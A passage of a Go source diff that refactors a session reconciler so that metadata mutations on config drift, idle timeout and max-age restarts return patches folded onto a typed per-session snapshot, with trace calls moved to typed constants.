+		// nil (no-op) when nothing was cleared. Pre-pass-masked (STEP6-PREPASS-AUDIT group 5).
 		if alive && stableLongEnough(*session, clk) {
-			clearWakeFailures(session, sessFront)
+			infoByID[session.ID] = infoByID[session.ID].ApplyPatch(clearWakeFailures(session, sessFront))
 		}
 		// Clear churn counter for sessions that have been productive.
+		// Fold the returned batch onto the snapshot (Step 6d write-returns-Info);
+		// nil (no-op) when churn_count was already absent/zero. Pre-pass-masked (STEP6-PREPASS-AUDIT group 5).
 		if alive && productiveLongEnough(*session, clk) {
-			clearChurn(session, sessFront)
+			infoByID[session.ID] = infoByID[session.ID].ApplyPatch(clearChurn(session, sessFront))
 		}
 		if alive && shouldRollbackPendingCreate(session) {
 			switch stateBeforeHeal {
 			case sessionpkg.StateStartPending, sessionpkg.StateCreating:
 				if pendingCreateStartInFlight(*session, clk, startupTimeout) {
 					if trace != nil {
-						trace.recordDecision("reconciler.session.pending_create", tp.TemplateName, name, "pending_create_recovery_in_flight", "deferred", nil, nil, "")
+						trace.RecordDecision(TraceSiteReconcilerPendingCreate, TraceReasonPendingCreateRecoveryInFlight, TraceOutcomeDeferred, tp.TemplateName, name, nil)
 					}
 					continue
 				}
 			}
-			if !recoverRunningPendingCreate(session, tp, cfg, store, clk, trace) {
+			// Fold recoverRunningPendingCreate's batch onto the snapshot (Step 6d
+			// write-returns-Info). The batch carries CommitStartedPatch PLUS
+			// buildPreparedStart's persisted residue (threaded out in
+			// pendingCreateResidueFold, on the abort paths): the instance_token mint,
+			// read by the Phase-2 drain scan (info.InstanceToken via verifiedStop,
+			// Step 2b), and the stale-resume started_config_hash clear, read by the
+			// forward-pass config-drift gate below (info.StartedConfigHash, Step 5a,
+			// #127). STEP6-PREPASS-AUDIT group 7. The other two clearStaleResumeKeyMetadata
+			// keys (session_key/continuation_reset_pending) stay unthreaded — neither has
+			// a same-tick Info reader whose verdict the residue changes — and self-heal on
+			// the next tick's store reload.
+			ok, commitBatch := recoverRunningPendingCreate(session, tp, cfg, store, clk, trace)
+			if !ok {
 				fmt.Fprintf(stderr, "session reconciler: recovering pending create %s: metadata repair incomplete\n", name) //nolint:errcheck
 			}
+			infoByID[session.ID] = infoByID[session.ID].ApplyPatch(commitBatch)
 		}
 
 		// driftRestartedInPlace tracks whether the alive-restart branch ran
@@ -1996,7 +2552,7 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 			// what config the session actually started with. Before it's
 			// written (during the startup window), skip the drift check
 			// to avoid false-positive drains. Fixes #127.
-			storedHash := session.Metadata["started_config_hash"]
+			storedHash := infoByID[session.ID].StartedConfigHash
 			if template != "" && storedHash != "" {
 				cfgAgent := findAgentByTemplate(cfg, template)
 				if cfgAgent != nil {
@@ -2010,23 +2566,28 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 						// artifact, not real config drift. See ga-s760 FRs 1-3.
 						if runtime.IsLegacyOrMismatchedVersion(storedHash) {
 							outcome := rebaselineLegacyHashOutcome(storedHash)
-							if err := silentRebaselineSessionHashes(session, sessFront, agentCfg); err != nil {
-								fmt.Fprintf(stderr, "session reconciler: rebaselining legacy hash for %s: %v\n", name, err) //nolint:errcheck
+							// Fold the rebaseline patch onto the snapshot (Step 6d write-returns-Info).
+							// This site `continue`s, so the fold must run before the continue.
+							// Pre-pass-masked (STEP6-PREPASS-AUDIT group 8).
+							rebaseBatch, rebaseErr := silentRebaselineSessionHashes(session, sessFront, agentCfg)
+							if rebaseErr != nil {
+								fmt.Fprintf(stderr, "session reconciler: rebaselining legacy hash for %s: %v\n", name, rebaseErr) //nolint:errcheck
 							} else {
 								fmt.Fprintf(stderr, "rebaselined legacy hash for %s (stored=%s current=%s)\n", name, truncateHashForLog(storedHash), truncateHashForLog(currentHash)) //nolint:errcheck
 							}
+							infoByID[session.ID] = infoByID[session.ID].ApplyPatch(rebaseBatch)
 							if trace != nil {
-								trace.recordDecision("reconciler.session.config_drift", tp.TemplateName, name, "config_drift", string(outcome), traceRecordPayload{
+								trace.RecordDecision(TraceSiteReconcilerConfigDrift, TraceReasonConfigDrift, outcome, tp.TemplateName, name, traceRecordPayload{
 									"stored_hash":  storedHash,
 									"current_hash": currentHash,
-								}, nil, "")
+								})
 							}
 							continue
 						}
 						fmt.Fprintf(stderr, "config-drift %s: stored=%s current=%s cmd=%q\n", name, truncateHashForLog(storedHash), truncateHashForLog(currentHash), agentCfg.Command) //nolint:errcheck
 						// Diagnostic: log per-field breakdown to identify the drifting field.
-						driftedFields := runtime.CoreFingerprintDriftFieldsFromJSON(session.Metadata["core_hash_breakdown"], agentCfg)
-						runtime.LogCoreFingerprintDrift(stderr, name, session.Metadata["core_hash_breakdown"], agentCfg)
+						driftedFields := runtime.CoreFingerprintDriftFieldsFromJSON(infoByID[session.ID].CoreHashBreakdown, agentCfg)
+						runtime.LogCoreFingerprintDrift(stderr, name, infoByID[session.ID].CoreHashBreakdown, agentCfg)
 						// Launch-only drift (B2.3): the box (provision half) is
 						// unchanged but the agent (launch half) moved. When the
 						// provider can relaunch the agent in the existing warm box,
@@ -2037,8 +2598,8 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 						// (a session started before B2.2) are treated as "not
 						// launch-only" → full restart, which re-stamps the sub-hashes
 						// and self-heals.
-						storedProvision := session.Metadata["started_provision_hash"]
-						storedLaunch := session.Metadata["started_launch_hash"]
+						storedProvision := infoByID[session.ID].StartedProvisionHash
+						storedLaunch := infoByID[session.ID].StartedLaunchHash
 						launchOnlyDrift := storedProvision != "" && storedLaunch != "" &&
 							storedProvision == runtime.ProvisionFingerprint(agentCfg) &&
 							storedLaunch != runtime.LaunchFingerprint(agentCfg)
@@ -2061,18 +2622,18 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 							}
 							drainCancelled := cancelSessionConfigDriftDrain(*session, sp, dt)
 							if trace != nil {
-								trace.recordDecision("reconciler.session.config_drift", tp.TemplateName, name, "config_drift", string(TraceOutcomeDeferredAttached), configDriftTracePayload(storedHash, currentHash, driftedFields, traceRecordPayload{
+								trace.RecordDecision(TraceSiteReconcilerConfigDrift, TraceReasonConfigDrift, TraceOutcomeDeferredAttached, tp.TemplateName, name, configDriftTracePayload(storedHash, currentHash, driftedFields, traceRecordPayload{
 									"active_reason":  "attached",
 									"drain_canceled": drainCancelled,
-								}), nil, "")
+								}))
 							}
 							continue
 						}
 						if recentlyDeferredSessionAttachedConfigDrift(*session, clk, driftKey) {
 							if trace != nil {
-								trace.recordDecision("reconciler.session.config_drift", tp.TemplateName, name, "config_drift", string(TraceOutcomeDeferredAttached), configDriftTracePayload(storedHash, currentHash, driftedFields, traceRecordPayload{
+								trace.RecordDecision(TraceSiteReconcilerConfigDrift, TraceReasonConfigDrift, TraceOutcomeDeferredAttached, tp.TemplateName, name, configDriftTracePayload(storedHash, currentHash, driftedFields, traceRecordPayload{
 									"active_reason": "attached_recently",
-								}), nil, "")
+								}))
 							}
 							continue
 						}
@@ -2088,18 +2649,35 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 							}
 							if active {
 								if trace != nil {
-									trace.recordDecision("reconciler.session.config_drift", tp.TemplateName, name, "config_drift", string(TraceOutcomeDeferredActive), configDriftTracePayload(storedHash, currentHash, driftedFields, traceRecordPayload{
+									trace.RecordDecision(TraceSiteReconcilerConfigDrift, TraceReasonConfigDrift, TraceOutcomeDeferredActive, tp.TemplateName, name, configDriftTracePayload(storedHash, currentHash, driftedFields, traceRecordPayload{
 										"active_reason": activeReason,
-									}), nil, "")
+									}))
 								}
 								continue
 							}
-							if launchOnlyDrift && relaunchAgentForLaunchDrift(ctx, sp, sessFront, session, name, agentCfg, tp, storedHash, currentHash, driftedFields, rec, trace, stdout, stderr) {
-								continue
+							if launchOnlyDrift {
+								relaunched, launchBatch := relaunchAgentForLaunchDrift(ctx, sp, sessFront, session, name,
+									tp, cityPath, cfg, store, storedHash, currentHash, storedProvision, storedLaunch,
+									driftedFields, rec, trace, stdout, stderr)
+								// Fold the returned batch unconditionally (Step 6d write-returns-Info).
+								// On success it is the rebaseline patch; on the prepare/skew/relaunch
+								// failure paths it is the buildPreparedStart prepare residue
+								// — only started_config_hash and instance_token are folded, while
+								// session_key and continuation_reset_pending stay intentionally
+								// unthreaded (no same-tick Info reader) and self-heal on the next
+								// store reload. ApplyPatch(nil) is a no-op.
+								infoByID[session.ID] = infoByID[session.ID].ApplyPatch(launchBatch)
+								if relaunched {
+									continue
+								}
 							}
-							resetConfiguredNamedSessionForConfigDrift(session, store, sp, name, alive, string(sessionpkg.StateStartPending), clk.Now().UTC(), stderr)
+							// Fold the config-drift reset onto the snapshot (Step 6d
+							// write-returns-Info). The alive lane falls through to the
+							// aggregating refresh @~2710 today, but folding here future-proofs
+							// that refresh's retirement (STEP6-PREPASS-AUDIT group 10).
+							infoByID[session.ID] = infoByID[session.ID].ApplyPatch(resetConfiguredNamedSessionForConfigDrift(session, store, sp, name, alive, string(sessionpkg.StateStartPending), clk.Now().UTC(), stderr))
 							if trace != nil {
-								trace.recordDecision("reconciler.session.config_drift", tp.TemplateName, name, "config_drift", "restart_in_place", configDriftTracePayload(storedHash, currentHash, driftedFields, nil), nil, "")
+								trace.RecordDecision(TraceSiteReconcilerConfigDrift, TraceReasonConfigDrift, TraceOutcomeRestartInPlace, tp.TemplateName, name, configDriftTracePayload(storedHash, currentHash, driftedFields, nil))
 							}
 							rec.Record(events.Event{
 								Type:      events.SessionDraining,
@@ -2122,9 +2700,9 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 									drainCancelled = cancelSessionDrainForPending(*session, sp, dt)
 								}
 								if trace != nil {
-									trace.recordDecision("reconciler.session.config_drift", tp.TemplateName, name, "pending", "deferred_pending", configDriftTracePayload(storedHash, currentHash, driftedFields, traceRecordPayload{
+									trace.RecordDecision(TraceSiteReconcilerConfigDrift, TraceReasonPending, TraceOutcomeDeferredPending, tp.TemplateName, name, configDriftTracePayload(storedHash, currentHash, driftedFields, traceRecordPayload{
 										"drain_canceled": drainCancelled,
-									}), nil, "")
+									}))
 								}
 								continue
 							}
@@ -2147,15 +2725,28 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 							}
 							if hasAssignedWork {
 								if trace != nil {
-									trace.recordDecision("reconciler.session.config_drift", tp.TemplateName, name, "config_drift", string(TraceOutcomeDeferredActive), configDriftTracePayload(storedHash, currentHash, driftedFields, traceRecordPayload{
+									trace.RecordDecision(TraceSiteReconcilerConfigDrift, TraceReasonConfigDrift, TraceOutcomeDeferredActive, tp.TemplateName, name, configDriftTracePayload(storedHash, currentHash, driftedFields, traceRecordPayload{
 										"active_reason": "live_assigned_work",
-									}), nil, "")
+									}))
 								}
 								fmt.Fprintf(stdout, "Skipping config-drift drain for '%s': live assigned work found\n", name) //nolint:errcheck
 								continue
 							}
-							if launchOnlyDrift && relaunchAgentForLaunchDrift(ctx, sp, sessFront, session, name, agentCfg, tp, storedHash, currentHash, driftedFields, rec, trace, stdout, stderr) {
-								continue
+							if launchOnlyDrift {
+								relaunched, launchBatch := relaunchAgentForLaunchDrift(ctx, sp, sessFront, session, name,
+									tp, cityPath, cfg, store, storedHash, currentHash, storedProvision, storedLaunch,
+									driftedFields, rec, trace, stdout, stderr)
+								// Fold the returned batch unconditionally (Step 6d write-returns-Info).
+								// On success it is the rebaseline patch; on the prepare/skew/relaunch
+								// failure paths it is the buildPreparedStart prepare residue
+								// — only started_config_hash and instance_token are folded, while
+								// session_key and continuation_reset_pending stay intentionally
+								// unthreaded (no same-tick Info reader) and self-heal on the next
+								// store reload. ApplyPatch(nil) is a no-op.
+								infoByID[session.ID] = infoByID[session.ID].ApplyPatch(launchBatch)
+								if relaunched {
+									continue
+								}
 							}
 							ddt := driftDrainTimeout
 							if ddt <= 0 {
@@ -2164,7 +2755,7 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 							if beginSessionDrain(*session, sp, dt, "config-drift", clk, ddt) {
 								fmt.Fprintf(stdout, "Draining session '%s': config-drift\n", name) //nolint:errcheck
 								if trace != nil {
-									trace.recordDecision("reconciler.session.config_drift", tp.TemplateName, name, "config_drift", "drain", configDriftTracePayload(storedHash, currentHash, driftedFields, nil), nil, "")
+									trace.RecordDecision(TraceSiteReconcilerConfigDrift, TraceReasonConfigDrift, TraceOutcomeDrain, tp.TemplateName, name, configDriftTracePayload(storedHash, currentHash, driftedFields, nil))
 								}
 								rec.Record(events.Event{
 									Type:      events.SessionDraining,
@@ -2185,7 +2776,7 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 					// Core config matches — check live-only drift.
 					// Use started_live_hash exclusively, matching
 					// the started_config_hash pattern above.
-					storedLive := session.Metadata["started_live_hash"]
+					storedLive := infoByID[session.ID].StartedLiveHash
 					currentLive := runtime.LiveFingerprint(agentCfg)
 					if storedLive != currentLive {
 						switch {
@@ -2202,16 +2793,20 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 							// all four fingerprint fields rather than running
 							// SessionLive again. ga-s760 FRs 1-3.
 							outcome := rebaselineLegacyHashOutcome(storedLive)
-							if err := silentRebaselineSessionHashes(session, sessFront, agentCfg); err != nil {
-								fmt.Fprintf(stderr, "session reconciler: rebaselining legacy live hash for %s: %v\n", name, err) //nolint:errcheck
+							// Fold the rebaseline patch onto the snapshot (Step 6d write-returns-Info).
+							// Pre-pass-masked (STEP6-PREPASS-AUDIT group 8).
+							rebaseBatch, rebaseErr := silentRebaselineSessionHashes(session, sessFront, agentCfg)
+							if rebaseErr != nil {
+								fmt.Fprintf(stderr, "session reconciler: rebaselining legacy live hash for %s: %v\n", name, rebaseErr) //nolint:errcheck
 							} else {
 								fmt.Fprintf(stderr, "rebaselined legacy live hash for %s (stored=%s current=%s)\n", name, truncateHashForLog(storedLive), truncateHashForLog(currentLive)) //nolint:errcheck
 							}
+							infoByID[session.ID] = infoByID[session.ID].ApplyPatch(rebaseBatch)
 							if trace != nil {
-								trace.recordDecision("reconciler.session.live_drift", tp.TemplateName, name, "live_drift", string(outcome), traceRecordPayload{
+								trace.RecordDecision(TraceSiteReconcilerLiveDrift, TraceReasonLiveDrift, outcome, tp.TemplateName, name, traceRecordPayload{
 									"stored_hash":  storedLive,
 									"current_hash": currentLive,
-								}, nil, "")
+								})
 							}
 						default:
 							fmt.Fprintf(stdout, "Live config changed for '%s', re-applying...\n", tp.DisplayName()) //nolint:errcheck
@@ -2241,14 +2836,22 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 		// hash until the new process commits. Without the durable guard,
 		// a deferred start's next reconcile tick would clear the preserved
 		// hash and rotate session_key before --resume can be prepared.
+		// Read the drift-repair skip decision off the coherent snapshot. The
+		// desired-path blocks above (drain-ack, restart-request, alive config-drift)
+		// all fold their mutations onto infoByID now (Step 6d write-returns-Info), so
+		// the snapshot entry is already byte-identical to the lockstep-updated bead —
+		// no re-projection needed. (The restart-handoff consume above folds a batch
+		// that excludes reset_committed_at, so that durable next-tick marker stays off
+		// this tick's snapshot exactly as the old raw refresh kept it off; #2345.)
+		infoAsleepDrift := infoByID[session.ID]
 		skipAsleepDriftRepair := driftRestartedInPlace ||
-			pendingResumePreservingNamedRestart(*session, clk, startupTimeout)
+			pendingResumePreservingNamedRestartInfo(infoAsleepDrift, clk, startupTimeout)
 		if !alive && isNamedSessionBead(*session) && !skipAsleepDriftRepair {
 			template := tp.TemplateName
 			if template == "" {
 				template = normalizedSessionTemplate(*session, cfg)
 			}
-			storedHash := session.Metadata["started_config_hash"]
+			storedHash := infoByID[session.ID].StartedConfigHash
 			if template != "" && storedHash != "" {
 				if cfgAgent := findAgentByTemplate(cfg, template); cfgAgent != nil {
 					agentCfg := sessionCoreConfigForHash(tp, *session)
@@ -2259,23 +2862,32 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 						// the asleep named session as drifted. ga-s760 FRs 1-3.
 						if runtime.IsLegacyOrMismatchedVersion(storedHash) {
 							outcome := rebaselineLegacyHashOutcome(storedHash)
-							if err := silentRebaselineSessionHashes(session, sessFront, agentCfg); err != nil {
-								fmt.Fprintf(stderr, "session reconciler: rebaselining legacy hash for %s: %v\n", name, err) //nolint:errcheck
+							// Fold the rebaseline patch onto the snapshot (Step 6d write-returns-Info).
+							// This site `continue`s, so the fold must run before the continue.
+							// Pre-pass-masked (STEP6-PREPASS-AUDIT group 8).
+							rebaseBatch, rebaseErr := silentRebaselineSessionHashes(session, sessFront, agentCfg)
+							if rebaseErr != nil {
+								fmt.Fprintf(stderr, "session reconciler: rebaselining legacy hash for %s: %v\n", name, rebaseErr) //nolint:errcheck
 							} else {
 								fmt.Fprintf(stderr, "rebaselined legacy hash for %s (stored=%s current=%s)\n", name, truncateHashForLog(storedHash), truncateHashForLog(currentHash)) //nolint:errcheck
 							}
+							infoByID[session.ID] = infoByID[session.ID].ApplyPatch(rebaseBatch)
 							if trace != nil {
-								trace.recordDecision("reconciler.session.config_drift", tp.TemplateName, name, "config_drift", string(outcome), traceRecordPayload{
+								trace.RecordDecision(TraceSiteReconcilerConfigDrift, TraceReasonConfigDrift, outcome, tp.TemplateName, name, traceRecordPayload{
 									"stored_hash":  storedHash,
 									"current_hash": currentHash,
-								}, nil, "")
+								})
 							}
 							continue
 						}
-						driftedFields := runtime.CoreFingerprintDriftFieldsFromJSON(session.Metadata["core_hash_breakdown"], agentCfg)
-						resetConfiguredNamedSessionForConfigDrift(session, store, sp, name, false, "asleep", clk.Now().UTC(), stderr)
+						driftedFields := runtime.CoreFingerprintDriftFieldsFromJSON(infoByID[session.ID].CoreHashBreakdown, agentCfg)
+						// Fold the config-drift reset onto the snapshot (Step 6d
+						// write-returns-Info); this asleep lane `continue`s, so the fold must
+						// run before the continue. Clears restart_requested on the snapshot
+						// (#2574). Pre-pass-masked (STEP6-PREPASS-AUDIT group 10).
+						infoByID[session.ID] = infoByID[session.ID].ApplyPatch(resetConfiguredNamedSessionForConfigDrift(session, store, sp, name, false, "asleep", clk.Now().UTC(), stderr))
 						if trace != nil {
-							trace.recordDecision("reconciler.session.config_drift", tp.TemplateName, name, "config_drift", "repair_in_place", configDriftTracePayload(storedHash, currentHash, driftedFields, nil), nil, "")
+							trace.RecordDecision(TraceSiteReconcilerConfigDrift, TraceReasonConfigDrift, TraceOutcomeRepairInPlace, tp.TemplateName, name, configDriftTracePayload(storedHash, currentHash, driftedFields, nil))
 						}
 						continue
 					}
@@ -2295,12 +2907,12 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 		// then pending interaction, then assigned work, then stop); this
 		// block gathers the facts it asks for and executes the outcome.
 		if maxAgeTr != nil && alive {
-			creationCompleteAt, hasAnchor := parseRFC3339Metadata(session.Metadata["creation_complete_at"])
+			creationCompleteAt, hasAnchor := parseRFC3339Metadata(infoByID[session.ID].CreationCompleteAt)
 			facts := sessionpkg.TimerFacts{
 				Triggered: hasAnchor && maxAgeTr.shouldRestart(name, tp.TemplateName, creationCompleteAt, clk.Now()),
 			}
 			if facts.Triggered {
-				facts.Blocker = lifecycleTimerBlocker(session.Metadata, clk.Now())
+				facts.Blocker = lifecycleTimerBlockerInfo(infoByID[session.ID], clk.Now())
 			}
 			dec := sessionpkg.DecideMaxSessionAge(facts)
 			for dec.Action == sessionpkg.TimerActionGatherPending || dec.Action == sessionpkg.TimerActionGatherAssignedWork {
@@ -2331,12 +2943,12 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 				// by wake evaluation: bypass the max-age restart so SleepPatch
 				// does not rewrite the intended sleep state.
 				if trace != nil {
-					trace.recordDecision("reconciler.session.max_session_age", tp.TemplateName, name, dec.TraceReason, dec.TraceOutcome, nil, nil, "")
+					trace.RecordDecision(TraceSiteReconcilerMaxSessionAge, TraceReasonCode(dec.TraceReason), TraceOutcomeCode(dec.TraceOutcome), tp.TemplateName, name, nil)
 				}
 			case sessionpkg.TimerActionStop:
 				fmt.Fprintf(stderr, "session reconciler: preemptive max-age restart for %s (age=%s)\n", tp.DisplayName(), clk.Now().Sub(creationCompleteAt).Round(time.Second)) //nolint:errcheck // best-effort stderr
 				if trace != nil {
-					trace.recordDecision("reconciler.session.max_session_age", tp.TemplateName, name, dec.TraceReason, dec.TraceOutcome, nil, nil, "")
+					trace.RecordDecision(TraceSiteReconcilerMaxSessionAge, TraceReasonCode(dec.TraceReason), TraceOutcomeCode(dec.TraceOutcome), tp.TemplateName, name, nil)
 				}
 				if err := workerKillSessionTargetWithConfig("", store, sp, cfg, name); err != nil {
 					fmt.Fprintf(stderr, "session reconciler: stopping aged %s: %v\n", name, err) //nolint:errcheck // best-effort stderr
@@ -2356,6 +2968,19 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 					for key, value := range batch {
 						session.Metadata[key] = value
 					}
+					// Fold the sleep onto the snapshot (Step 6d write-returns-Info): this
+					// max-age kill falls through to the wakeTargets append below, whose
+					// awake-scan read of state=asleep drives a same-tick re-wake — so the
+					// snapshot must carry the sleep. Base is coherent (the aggregating
+					// refresh @~2692 synced it and the intervening drift blocks `continue`).
+					// A pre-pass-masked writer (STEP6-PREPASS-AUDIT group 11).
+					//
+					// START-EXECUTION COUPLING (Step 5c): the raw session.Metadata mirror
+					// loop above is RETAINED. The same-tick re-wake can reach
+					// startCandidates, and the start executor reads last_woke_at (cleared
+					// by SleepPatch) off the raw bead via wakeFairnessTime before it
+					// re-Gets from the store; dropping the mirror would perturb ordering.
+					infoByID[session.ID] = infoByID[session.ID].ApplyPatch(batch)
 					alive = false
 				}
 			}
@@ -2372,7 +2997,7 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 				Triggered: it.checkIdle(name, tp.TemplateName, sp, clk.Now()),
 			}
 			if facts.Triggered {
-				facts.Blocker = lifecycleTimerBlocker(session.Metadata, clk.Now())
+				facts.Blocker = lifecycleTimerBlockerInfo(infoByID[session.ID], clk.Now())
 			}
 			dec := sessionpkg.DecideIdleTimeout(facts)
 			for dec.Action == sessionpkg.TimerActionGatherPending {
@@ -2399,7 +3024,7 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 					payload = traceRecordPayload{"drain_canceled": drainCancelled}
 				}
 				if trace != nil {
-					trace.recordDecision("reconciler.session.idle_timeout", tp.TemplateName, name, dec.TraceReason, dec.TraceOutcome, payload, nil, "")
+					trace.RecordDecision(TraceSiteReconcilerIdleTimeout, TraceReasonCode(dec.TraceReason), TraceOutcomeCode(dec.TraceOutcome), tp.TemplateName, name, payload)
 				}
 				if dec.SkipWakePass {
 					continue
@@ -2407,7 +3032,7 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 			case sessionpkg.TimerActionStop:
 				fmt.Fprintf(stderr, "session reconciler: idle timeout for %s\n", tp.DisplayName()) //nolint:errcheck // best-effort stderr
 				if trace != nil {
-					trace.recordDecision("reconciler.session.idle_timeout", tp.TemplateName, name, dec.TraceReason, dec.TraceOutcome, nil, nil, "")
+					trace.RecordDecision(TraceSiteReconcilerIdleTimeout, TraceReasonCode(dec.TraceReason), TraceOutcomeCode(dec.TraceOutcome), tp.TemplateName, name, nil)
 				}
 				if err := workerKillSessionTargetWithConfig("", store, sp, cfg, name); err != nil {
 					fmt.Fprintf(stderr, "session reconciler: stopping idle %s: %v\n", name, err) //nolint:errcheck // best-effort stderr
@@ -2430,6 +3055,17 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 					for key, value := range batch {
 						session.Metadata[key] = value
 					}
+					// Fold the sleep onto the snapshot (Step 6d write-returns-Info): the
+					// idle kill falls through to the wakeTargets append below, whose
+					// awake-scan read of state=asleep drives a same-tick re-wake. Base
+					// coherent (aggregating refresh @~2692 + intervening `continue`s). A
+					// pre-pass-masked writer (STEP6-PREPASS-AUDIT group 12).
+					//
+					// START-EXECUTION COUPLING (Step 5c): the raw session.Metadata mirror
+					// loop above is RETAINED — same rationale as the max-age kill: the
+					// same-tick re-wake reads last_woke_at (cleared by SleepPatch) off the
+					// raw bead via wakeFairnessTime before the start executor re-Gets it.
+					infoByID[session.ID] = infoByID[session.ID].ApplyPatch(batch)
 					alive = false
 				}
 			}
@@ -2451,10 +3087,25 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 		return 0
 	}
 
-	// Use ComputeAwakeSet for the wake/sleep decision.
+	// Use ComputeAwakeSet for the wake/sleep decision. The awake scan reads every
+	// session's typed Info from the coherent infoByID snapshot. The former blanket
+	// pre-pass (a full re-project of every session right before this scan) is GONE
+	// (Step 6d): every forward-pass writer now folds its own mutation onto the
+	// snapshot via write-returns-Info (STEP6-PREPASS-AUDIT groups 1-12), so the
+	// snapshot is already coherent here without re-projecting the raw beads.
 	phaseStart = time.Now()
+	// Build the awake-scan domain from the coherent typed snapshot in `ordered`
+	// slice order (load-bearing — ComputeAwakeSet resolves SessionName
+	// last-write-wins over a non-unique key, so map iteration order must not
+	// leak in). Every orderedIDs entry keys infoByID (built at tick entry, only
+	// updated thereafter, never deleted), so this reproduces the former
+	// per-bead snapshot lookup exactly (Step 5e: walk orderedIDs, not raw beads).
+	sessionInfos := make([]sessionpkg.Info, len(orderedIDs))
+	for i := range orderedIDs {
+		sessionInfos[i] = infoByID[orderedIDs[i]]
+	}
 	awakeInput := buildAwakeInputFromReconciler(
-		cfg, cityPath, ordered, poolDesired, namedSessionDemand, workSet, readyWaitSet,
+		cfg, cityPath, sessionInfos, poolDesired, namedSessionDemand, workSet, readyWaitSet,
 		assignedWorkBeads, reconcileOpts.readyAssignedFlags, wakeTargets, sp, clk.Now(),
 	)
 	awakeDecisions := ComputeAwakeSet(awakeInput)
@@ -2467,11 +3118,19 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 	// ConfigSuppressed and Policy fields.
 	for _, target := range wakeTargets {
 		eval := wakeEvals[target.session.ID]
+		// Typed projection for this iteration's decision reads (session_name,
+		// pin_awake, template, sleep_intent). Refreshed from the snapshot: this is
+		// a post-Phase-1 loop, and every Phase-1 mutation folds onto infoByID now
+		// (Step 6d write-returns-Info), so the snapshot entry is already coherent —
+		// no re-projection needed. The loop itself writes only wakeEvals/eval, never
+		// the bead. The sleep policy resolvers (resolveSessionSleepPolicy,
+		// configWakeSuppressed) read whole-bead + runtime state and stay raw.
+		info := infoByID[target.session.ID]
 		policy := resolveSessionSleepPolicy(*target.session, cfg, sp)
 		eval.Policy = policy
-		name := target.session.Metadata["session_name"]
+		name := info.SessionNameMetadata
 		decision := awakeDecisions[name]
-		if decision.ShouldWake && !pendingInteractionReady(sp, name) && target.session.Metadata["pin_awake"] != "true" && configWakeSuppressed(*target.session, policy, sp, clk) {
+		if decision.ShouldWake && !pendingInteractionReady(sp, name) && info.PinAwake != "true" && configWakeSuppressed(*target.session, policy, sp, clk) {
 			// Direct assigned work overrides sleep suppression for every
 			// sleep class — the assignment is session-specific, so a pool
 			// sibling cannot serve it. Pool-scale demand (poolDesired > 0)
@@ -2484,8 +3143,8 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 			// to release resources.
 			// Explicit sleep_intent always wins — if the session has
 			// signaled it wants to sleep, honor that regardless of demand.
-			template := normalizedSessionTemplate(*target.session, cfg)
-			hasExplicitSleepIntent := target.session.Metadata["sleep_intent"] != ""
+			template := normalizedSessionTemplateInfo(info, cfg)
+			hasExplicitSleepIntent := info.SleepIntent != ""
 			demandOverrides := wakeDemandOverridesSleepSuppression(decision, eval, policy, poolDesired, template, hasExplicitSleepIntent)
 			if !demandOverrides {
 				eval.ConfigSuppressed = true
@@ -2496,8 +3155,8 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 		wakeEvals[target.session.ID] = eval
 	}
 
-	idleProbeTargets := selectIdleProbeTargets(wakeTargets, wakeEvals, dt)
-	launchIdleProbes(ctx, idleProbeTargets, wakeTargets, dt, sp, clk)
+	idleProbeTargets := selectIdleProbeTargets(wakeTargets, wakeEvals, dt, infoByID)
+	launchIdleProbes(ctx, idleProbeTargets, wakeTargets, dt, sp, clk, infoByID)
 	recordPhase(TraceSiteSessionReconcileAwakeSet, "session_reconcile.compute_awake_set_and_idle_probes", phaseStart, map[string]any{
 		"wake_target_count":      len(wakeTargets),
 		"idle_probe_target_cnt":  len(idleProbeTargets),
@@ -2511,7 +3170,15 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 		if ctx != nil && ctx.Err() != nil {
 			return 0
 		}
-		name := target.session.Metadata["session_name"]
+		// Typed projection for this iteration's decision reads. infoByID is
+		// coherent here: every forward-pass mutation folds onto it, and this
+		// loop's own mutations fold back before any later read observes them.
+		// The whole-bead helpers below (persistSleepPolicyMetadata,
+		// sessionHasOpenAssignedWorkForReachableStore, pruneAgentHomeWorktreeIfSafe,
+		// collectSessionAssignedWork inside emitSessionStrandedDiagnostic) stay raw
+		// by design.
+		info := infoByID[target.session.ID]
+		name := info.SessionNameMetadata
 		decision, hasDec := awakeDecisions[name]
 		shouldWake := hasDec && decision.ShouldWake
 
@@ -2523,23 +3190,23 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 
 		if shouldWake && !target.alive {
 			// Session should be awake but isn't — wake it.
-			if isFailedCreateSessionBead(*target.session) {
+			if isFailedCreateSessionInfo(info) {
 				if trace != nil {
-					trace.recordDecision("reconciler.session.wake", target.tp.TemplateName, name, "wake", "failed_create", traceRecordPayload{
-						"pending_create_claim": strings.TrimSpace(target.session.Metadata["pending_create_claim"]),
-					}, nil, "")
+					trace.RecordDecision(TraceSiteReconcilerWakeDecision, TraceReasonWake, TraceOutcomeFailedCreate, target.tp.TemplateName, name, traceRecordPayload{
+						"pending_create_claim": strings.TrimSpace(info.PendingCreateClaimMetadata),
+					})
 				}
 				continue
 			}
-			if sessionIsQuarantined(*target.session, clk) {
+			if sessionIsQuarantinedInfo(info, clk) {
 				continue // crash-loop protection
 			}
-			if pendingCreateStartInFlight(*target.session, clk, startupTimeout) {
